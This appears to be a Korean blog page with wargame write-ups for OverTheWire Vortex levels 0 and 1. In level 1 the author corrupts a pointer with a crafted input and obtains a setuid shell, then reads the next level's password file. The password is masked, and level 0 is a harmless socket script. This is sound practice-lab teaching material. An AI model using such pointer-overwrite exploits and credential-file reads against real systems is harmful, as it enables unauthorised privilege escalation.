'WARGAME'에 해당되는 글 2건

  1. 2014.08.05 Vortex Level 1 -> Level 2
  2. 2014.08.05 Vortex Level 0 -> Level 1
2014. 8. 5. 07:05

Level 1

/*
 * vortex1.c
 */
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}


분석

우선 vortex1.c 파일을 분석해봅시다.

print 함수는 별거 없이 그냥 현재 buf 변수 내의 값을 hex값으로 출력하는 함수 입니다.

그리고 main을 보면 EOF가 나올때까지 stdin에서 값을 입력받으면서, 입력된 문자 종류에 따라서 세가지 다른 명령을 실행합니다.

1. "\n" (newline character): 현재 "buf"의 값을 프린트합니다.

2. "\\" ('\' character): ptr의 포인터 를 한칸 앞으로 보냅니다.

3. default: 우선 e() 매크로 함수를 실행하고 현재의 ptr에 입력된 값을 넣은 후, ptr를 한칸 뒤로 보냅니다.


이제 프로그램의 구조를 살펴봅시다.

ptr는 buf + (sizeof(buf)), 즉 buf + 256에서 시작합니다.

현재의 스택 구조를 유추해보면

+-------------------------------------------------------------------------------------------------------------+

 |   x (4 bytes)   |   ptr (4 bytes)   |                        buf (512 bytes)                                 |

+-------------------------------------------------------------------------------------------------------------+

variable이 생성된 순서로 유추해봤을때, 이런 구조라고 생각됩니다.

vortex0에서 봤듯이, vortex 서버는 little-endian 형식을 사용중입니다.


이제 문제의 풀이법을 봅시다.

e() 매크로 함수를 보면, (ptr & 0xFF000000)의 값이 0xCA000000일 경우, vortex2의 쉘이 실행됩니다.

little-endian 형식이므로, buf에 가까운 두자리를 바꿔주면 되겠습니다.


풀이

이제 우리가 할 일은 간단합니다.

'\' 문자를 계속 입력해서 ptr 변후의 주소까지 이동한 후, 0xCA를 입력해주면 됩니다.

초기 ptr의 위치는 buf + 256이므로, 우선 '\' 문자를 256번 입력하면 ptr는 buf를 가르키게 됩니다.

'\'를 256번 입력해주기 위해서 python을 사용하도록 하겠습니다.

vortex1@melinda:~$(python -c 'print "\\" * 256 + "A"') | /vortex/vortex1

이제 출력된 buf의 값을 확인해보면 buf의 첫번째 값이 0x41, 즉 "A"로 변경된 것을 볼 수 있습니다.

이제 ptr값을 바꾸기 위해서 '\'문자를 한번 더 입력한 후, "A" 대신에 "\xca"를 입력해서 ptr 안에 0xca를 입력해줍시다. 그리고 그 뒤에 아무 문자를 한개 더 입력해서 e() 매크로 함수를 실행시키면 shell이 실행될 것입니다.

vortex1@melinda:~$(python -c 'print "\\" * 257 + "\xcaA"') | /vortex/vortex1

그런데 어떻게 된 일인지 shell이 실행되지 않고 buf의 내용이 출력되기만 합니다.

우리가 생각했던 스택 구조가 잘못된 것 같습니다.

objdump를 사용해서 어셈블리 코드를 보도록 하겠습니다.

vortex1@melinda:~$objdump -d --no-show-raw-insn /vortex/vortex1

결과:

...
08048577 <main>:
 8048577:	push   %ebp
 8048578:	mov    %esp,%ebp
 804857a:	push   %esi
 804857b:	push   %ebx
 804857c:	and    $0xfffffff0,%esp
 804857f:	sub    $0x220,%esp
 8048585:	mov    %gs:0x14,%eax
 804858b:	mov    %eax,0x21c(%esp)
 8048592:	xor    %eax,%eax
 8048594:	lea    0x1c(%esp),%eax		# buf
 8048598:	add    $0x100,%eax
 804859d:	mov    %eax,0x14(%esp)		# ptr
 80485a1:	jmp    8048643 <main+0xcc>
 80485a6:	mov    0x18(%esp),%eax		# x
 80485aa:	cmp    $0xa,%eax
 80485ad:	je     80485b6 <main+0x3f>
 80485af:	cmp    $0x5c,%eax
 80485b2:	je     80485cc <main+0x55>
 80485b4:	jmp    80485d3 <main+0x5c>
 80485b6:	movl   $0x200,0x4(%esp)
 ...

highlight된 부분이 각각 buf, ptr, x 변수들의 선언 부분입니다. 그런데 주소를 자세히 보면 아시겠지만 스택의 주소값이 x, ptr, buf의 순서가 아닌 ptr, x, buf의 순서입니다.

이 정보를 통해서 알게된 스택의 구조를 시각화해보면 아래와 같이 됩니다.

+-------------------------------------------------------------------------------------------------------------+

 |   ptr (4 bytes)   |   x (4 bytes)   |                        buf (512 bytes)                                 |

+-------------------------------------------------------------------------------------------------------------+


즉, \\의 개수가 우리가 처음 생각한 257개가 아니라 4개를 더 더한 261개여야 한다는 것입니다.

vortex1@melinda:~$(python -c 'print "\\" * 261 + "\xcaA"') | /vortex/vortex1

buf의 값이 출력되지 않는 것을 보니까  e() 메크로함수으 ㅣ조건은 만족한 듯 하지만, shell이 바로 실행되자마자 꺼져버려서 아무것도 입력할 수 없습니다.

이를 해결하기 위해 cat을 이용해서 실행된 shell에 값을 계속 입력할 수 있게 만들어줍니다.

vortex1@melinda:~$(python -c 'print "\\" * 261 + "\xcaA"' ; cat) | /vortex/vortex1
whoami
vortex2
cat /etc/vortex_pass/vortex2
*********

이렇게 얻은 password를 이용해서 vortex2 계정에 로그인 할 수 있습니다.

Posted by KCBS
2014. 8. 5. 04:56

Level 0

Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.

Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)



Translation

vortex.labs.overthewire.org의 5842번 포트에 연결해서 4개의 unsigned integer들을 차례로 읽어내는 것이 목표입니다. 그리고 그 integer들을 더해서 다시 호스트로 보내서 username과 password를 알아낼 수 있습니다. 그 정보를 이용해서 ssh에 접속할 수 있습니다.

Note: vorvex 서버는 32비트 x86 머신을 사용중입니다. (little endian 아키텍쳐)



풀이

우선 vortex 서버에 연결하기 위한 프로그램을 짜야 합니다.

socket 통신을 할 수 있는 모든 언어로 풀이 가능합니다.

여기서는 python을 사용해서 풀어보겠습니다.


일단 socket을 이용해서 vortex.labe.overthewire.org:5842에 연결해줍니다.

from socket import *
from struct import * #for unpack()

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("vortex.labs.overthewire.org", 5842))


그리고, 4개의 정수를 읽어오고 더해줍시다.

from socket import *
sum = 0

for i in range(4): #loop 4 times
    data = sock.recv(4) # 서버로부터 4바이트 읽기
    sum += unpack("<I", data)[0]


서버는 little-endian 형식의 머신을 사용중이기 때문에 받아온 data를 "<I"를 사용하여 unsigned integer 형식으로 풀어준 후, sum에 더해줍니다.

이렇게 만들어진 sum을 다시 vortex 서버로 보내줍시다.

sock.send(pack("<I", (sum & 0xFFFFFFFF)))
print sock.recv(512)
sock.close()

우선 만들어진 sum 값을 8자리 hex 값으로 변환한 후, little-endian unsigned integer 형식으로 pack해줍니다.

그리고 sock.send를 사용하여 서버로 전송하면 서버가 username과 password를 응답해줍니다.


만들어진 python 파일을 실행하면 vortex level 1의 username과 password를 받아올 수 있습니다.



Posted by KCBS